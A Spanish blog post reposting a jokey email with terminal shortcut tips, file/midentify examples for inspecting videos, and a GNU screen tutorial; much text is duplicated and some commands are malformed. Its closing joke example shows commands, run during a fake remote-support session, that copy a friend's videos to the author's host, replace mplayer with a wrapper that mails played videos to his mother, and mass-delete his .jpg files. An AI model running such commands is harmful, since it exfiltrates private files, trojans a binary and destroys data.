Este mail es anterior al de dts con mplayer pero lo pongo por que me resulta bastante gracioso, ademas como no tengo contenidos pal blog pos asi relleno.
Salud3!
Salud3!
Hola, soy coco y hoy vamos a aprender un poco sobre la linea de comandos y un par de utilidades:
Empiezo con copy&paste indiscriminado porque primero he escrito la parte de screen y me he cansado ~_^:
Empiezo con copy&paste indiscriminado porque primero he escrito la parte de screen y me he cansado ~_^:
Tips de consola (xterm, konsole o lo que sea):
<ctrl> + a # Move cursor to the beginning of the line.
<ctrl> + e # Move cursor to the end of the line.
<alt> + d # Cut the word under the cursor to a buffer.
<ctrl> + y # Insert content of buffer (see <alt> + d).
<ctrl> + u # clears actually typed line from beginning of line to current position
<ctrl> + k # clears actually typed line from current position end of line
<ctrl> + w # Deletes the word before the cursor or if you are in a word it deletes the beginning of it.
<ctrl> + s # pause console output. The process keeps running.
<ctrl> + q # Resume console output paused with <ctrl> + s
<ctrl> + z # suspend current process and send it into background
# bg
# If the program should run in background, you'll have to "unsuspend" it with `bg
# fg
# to get the program back to foreground
<ctrl> + r # To get reverse pattern search in your last used commands. Then type in what you are looking for. This function is "search as you type". To cycle through the found commands, press
<ctrl>+r continuously.
<ctrl> + l # Will clear the whole display,
<ctrl> + e # Move cursor to the end of the line.
<alt> + d # Cut the word under the cursor to a buffer.
<ctrl> + y # Insert content of buffer (see <alt> + d).
<ctrl> + u # clears actually typed line from beginning of line to current position
<ctrl> + k # clears actually typed line from current position end of line
<ctrl> + w # Deletes the word before the cursor or if you are in a word it deletes the beginning of it.
<ctrl> + s # pause console output. The process keeps running.
<ctrl> + q # Resume console output paused with <ctrl> + s
<ctrl> + z # suspend current process and send it into background
# bg
# If the program should run in background, you'll have to "unsuspend" it with `bg
# fg
# to get the program back to foreground
<ctrl> + r # To get reverse pattern search in your last used commands. Then type in what you are looking for. This function is "search as you type". To cycle through the found commands, press
<ctrl>+r continuously.
<ctrl> + l # Will clear the whole display,
Para Palomín que está ripeando mucho últimamente. Para ver la info de videos y demás zarandajas:
Versión kutre, file:
Ejemplo1:
# file /mnt/datos/Peliculas/Doom\ UNRATED\ -\ VOSE\ -\ CD1.avi
/mnt/datos/Peliculas/Doom UNRATED - VOSE - CD1.avi: RIFF
(little-endian) data, AVI, 720 x 304, 23.98 fps, video: XviD, audio:
Dolby AC3 (6 channels, 48000 Hz)
/mnt/datos/Peliculas/Doom UNRATED - VOSE - CD1.avi: RIFF
(little-endian) data, AVI, 720 x 304, 23.98 fps, video: XviD, audio:
Dolby AC3 (6 channels, 48000 Hz)
Ejemplo2:
# file /mnt/datos/Peliculas/Entre\ Copas.img
/mnt/datos/Peliculas/Entre Copas.img: ISO 9660 CD-ROM filesystem data
'ENTRE_COPAS'
/mnt/datos/Peliculas/Entre Copas.img: ISO 9660 CD-ROM filesystem data
'ENTRE_COPAS'
Cojo-versión, midentify:
Ejemplo1:
# midentify /mnt/datos/Peliculas/Entre\ Copas.img
ID_AUDIO_ID=129
ID_AUDIO_ID=128
ID_AUDIO_ID=130
ID_AUDIO_ID=131
ID_AUDIO_ID=23
ID_AUDIO_ID=129
ID_AUDIO_ID=128
ID_AUDIO_ID=130
ID_AUDIO_ID=131
ID_AUDIO_ID=23
Ejemplo2:
# midentify /mnt/datos/Peliculas/Doom\ UNRATED\ -\ VOSE\ -\ CD1.avi
ID_VIDEO_ID=0
ID_AUDIO_ID=1
ID_FILE_SUB_ID=0
ID_FILE_SUB_FILENAME=/mnt/datos/Peliculas/Doom UNRATED - VOSE - CD1.srt
ID_FILENAME="/mnt/datos/Peliculas/Doom UNRATED - VOSE - CD1.avi"
ID_VIDEO_FORMAT=XVID
ID_VIDEO_BITRATE=1116360
ID_VIDEO_WIDTH=720
ID_VIDEO_HEIGHT=304
ID_VIDEO_FPS=23.976
ID_VIDEO_ASPECT=0.0000
ID_AUDIO_CODEC=hwac3
ID_AUDIO_FORMAT=8192
ID_AUDIO_BITRATE=448000
ID_AUDIO_RATE=48000
ID_AUDIO_NCH=2
ID_LENGTH=3736
Screen:
Es un programita que te permite tener dentro de una terminal muchas terminales. Además puedes desconectarte o cerrar sesión o lo que te salga de las pelotas y screen seguirá kurrando hasta que vuelvas ^_^.
Esto es tremendamente util para conectarte por ssh si tienes un proceso corriendo y no quieres que se corte cuando reinicies las X.
En bulma hay un kutre manual que no vale ni para tomar por kulo, pero os lo dejo por si no pillais mi prosa ~_^:
http://bulma.net/body.phtml?nIdNoticia=1120
1º lo instalamos: apt-get / emerge screen
Y lo ejecutamos desde un terminal:
Esto es tremendamente util para conectarte por ssh si tienes un proceso corriendo y no quieres que se corte cuando reinicies las X.
En bulma hay un kutre manual que no vale ni para tomar por kulo, pero os lo dejo por si no pillais mi prosa ~_^:
http://bulma.net/body.phtml?nIdNoticia=1120
1º lo instalamos: apt-get / emerge screen
Y lo ejecutamos desde un terminal:
tarugo@mimakinamola $ screen
Ya estamos dentro de screen, ahora os digo unas teclas últiles para moveros por las terminales:
Lo explico para lerdos: Presionamos control + a y luego la tecla que nos interese xDDD
Lo explico para lerdos: Presionamos control + a y luego la tecla que nos interese xDDD
<ctrl> +a + c # Crea un nuevo terminal
<ctrl> +a + n # Vamos al siguiente terminal
<ctrl> +a + p # Vamos al anterior terminal
<ctrl> +a + nº # Vamos a ese número de terminal
<ctrl> +a + " # Lista las terminales que tengamos abiertas dentro del screen
<ctrl> +a + d # Salimos de screen, pero los terminales siguen ahí esperando que volvamos. De hecho esperando no es correcto, porque siguen igual que antes.
<ctrl> +a + ? # La consabida ayuda
<ctrl> +a + n # Vamos al siguiente terminal
<ctrl> +a + p # Vamos al anterior terminal
<ctrl> +a + nº # Vamos a ese número de terminal
<ctrl> +a + " # Lista las terminales que tengamos abiertas dentro del screen
<ctrl> +a + d # Salimos de screen, pero los terminales siguen ahí esperando que volvamos. De hecho esperando no es correcto, porque siguen igual que antes.
<ctrl> +a + ? # La consabida ayuda
Para volver a la sesión de screen que teníamos abierta y de la que nos habíamos ido, volvemos con:
tarugo@mimakinamola $ screen -r
Pero si no la hemos cerrado y queremos que, estando abierta en otro lado acceder e todas formas lo hacemos con:
tarugo@mimakinamola $ screen -x
De hecho esto es muy util para que puedas manejar las sesiones desde distintios sitios a la vez.
Ejemplo:
Moz se ha vuelto a cargar el soporte para grabadora en su ordenador, y yo estoy hasta las pelotas de que el chaval no se implique y no aprenda. ¿que hacer?
Ejemplo:
Moz se ha vuelto a cargar el soporte para grabadora en su ordenador, y yo estoy hasta las pelotas de que el chaval no se implique y no aprenda. ¿que hacer?
## Me conecto por ssh y ejecuto screen:
el_puto_amo@maquina_del_puto_amo $ ssh -l moz moz.servebeer.com
moz@maquina_de_moz $ screen
## Me creo una terminal:
<ctrl> +a + c
## Empiezo a bajarme su porno y juankearle el mplayer para que cualquier video que vea se lo mande por email a su madre
maquina_de_moz # scp $(find / -iname *.mpg) \ el_puto_amo@maquina_del_puto_amo:/mnt/cosas_conseuidas_ilicitamente/
## Ahora el super-juankeo xDDDDD
moz@maquina_de_moz $ su
moz@maquina_de_moz $ mv /usr/bin/mplayer /usb/bin/mplayer_old
moz@maquina_de_moz $ touch /usr/bin/mplayer
moz@maquina_de_moz $ echo "#!/bin/sh" > /usr/bin/mplayer
moz@maquina_de_moz $ /usr/bin/mplayer_old "$1"
moz@maquina_de_moz $ mail -s "Esto es lo que hace tu hijo" \ mami_de_moz@hotmail.com < "$1"
moz@maquina_de_moz $ chmod 777 /usr/bin/mplayer
## Creo un tercer terminal y sigo haciendo el mal
<ctrl> +a + c
## Empiezo una escabechina!!!
moz@maquina_de_moz $ su
moz@maquina_de_moz $ rm -Rf $(find / -iname *.jpg)
## Mientras mis malvados actos se desarrollan, le llamo y le digo que habra un terminal y ejecute:
moz@maquina_de_moz $ screen -x
## Ahora iré a la primera terminal para fingir que intento arreglarselo
<ctrl> +a +0
## Mwajajajajaja!!!
el_puto_amo@maquina_del_puto_amo $ ssh -l moz moz.servebeer.com
moz@maquina_de_moz $ screen
## Me creo una terminal:
<ctrl> +a + c
## Empiezo a bajarme su porno y juankearle el mplayer para que cualquier video que vea se lo mande por email a su madre
maquina_de_moz # scp $(find / -iname *.mpg) \ el_puto_amo@maquina_del_puto_amo:/mnt/cosas_conseuidas_ilicitamente/
## Ahora el super-juankeo xDDDDD
moz@maquina_de_moz $ su
moz@maquina_de_moz $ mv /usr/bin/mplayer /usb/bin/mplayer_old
moz@maquina_de_moz $ touch /usr/bin/mplayer
moz@maquina_de_moz $ echo "#!/bin/sh" > /usr/bin/mplayer
moz@maquina_de_moz $ /usr/bin/mplayer_old "$1"
moz@maquina_de_moz $ mail -s "Esto es lo que hace tu hijo" \ mami_de_moz@hotmail.com < "$1"
moz@maquina_de_moz $ chmod 777 /usr/bin/mplayer
## Creo un tercer terminal y sigo haciendo el mal
<ctrl> +a + c
## Empiezo una escabechina!!!
moz@maquina_de_moz $ su
moz@maquina_de_moz $ rm -Rf $(find / -iname *.jpg)
## Mientras mis malvados actos se desarrollan, le llamo y le digo que habra un terminal y ejecute:
moz@maquina_de_moz $ screen -x
## Ahora iré a la primera terminal para fingir que intento arreglarselo
<ctrl> +a +0
## Mwajajajajaja!!!
PD: Tengo que dejar de leer tiras de Raulito xDDDDD